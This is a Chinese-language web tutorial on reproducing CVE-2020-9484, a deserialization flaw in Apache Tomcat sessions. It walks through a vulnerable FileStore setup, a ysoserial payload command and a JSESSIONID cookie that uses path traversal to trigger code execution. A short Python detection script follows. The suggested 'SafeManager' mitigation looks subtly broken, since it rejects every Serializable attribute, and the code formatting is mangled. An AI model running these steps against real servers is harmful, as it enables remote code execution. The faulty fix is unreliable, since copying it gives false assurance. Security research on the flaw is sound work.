您好,登录后才能下订单哦!
# 如何进行CVE-2020-9484 TomcatSession反序列化复现
## 漏洞概述
CVE-2020-9484是Apache Tomcat中的一个高危反序列化漏洞,影响版本包括:
- 10.0.0-M1至10.0.0-M4
- 9.0.0.M1至9.0.34
- 8.5.0至8.5.54
- 7.0.0至7.0.103
当Tomcat配置了**PersistentManager**并启用**FileStore**存储会话时,攻击者可通过精心构造的恶意session对象实现远程代码执行(RCE)。
## 环境搭建
### 1. 准备漏洞环境
```bash
# 下载受影响版本的Tomcat(示例使用8.5.54)
wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.54/bin/apache-tomcat-8.5.54.tar.gz
tar -xvf apache-tomcat-8.5.54.tar.gz
cd apache-tomcat-8.5.54
修改conf/context.xml
:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"
directory="/path/to/sessions"/>
</Manager>
在webapps/ROOT/WEB-INF/web.xml
中添加:
<distributable/>
使用ysoserial生成Payload(示例使用CommonsCollections2):
java -jar ysoserial.jar CommonsCollections2 "touch /tmp/pwned" > session.ser
将序列化文件上传至FileStore目录后,通过Cookie控制session ID:
GET / HTTP/1.1
Host: vulnerable-server:8080
Cookie: JSESSIONID=../../../../../../../../path/to/sessions/exp
检查目标服务器是否创建文件:
ls -la /tmp/pwned
漏洞产生于三个关键条件同时满足: 1. PersistentManager启用:会话持久化到存储系统 2. FileStore配置:会话数据以文件形式存储 3. 可预测的session路径:攻击者可控制session文件位置
攻击链:
恶意序列化数据 -> 文件上传 -> Session反序列化 -> RCE
// 实现自定义Session管理器时添加过滤
public class SafeManager extends ManagerBase {
@Override
protected void checkSessionAttribute(String name, Object value) {
if (value instanceof Serializable) {
throw new IllegalArgumentException("Unsafe serialization attempt");
}
}
}
import requests
def check_cve_2020_9484(url):
try:
res = requests.get(f"{url}/", cookies={"JSESSIONID": "../../../test"})
return "java.io.FileNotFoundException" in res.text
except:
return False
本文仅用于安全研究目的,未经授权不得对实际系统进行测试。根据《网络安全法》第二十七条,任何个人和组织不得从事非法侵入他人网络等危害网络安全的活动。
作者:安全研究员
更新日期:2023年11月
关键词:Apache Tomcat, 反序列化, RCE, 漏洞复现 “`
注:实际复现时需注意: 1. 确保测试环境隔离 2. 不同Tomcat版本可能需要调整Payload 3. 文件路径需要根据实际环境修改 4. 建议使用docker容器快速搭建测试环境
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。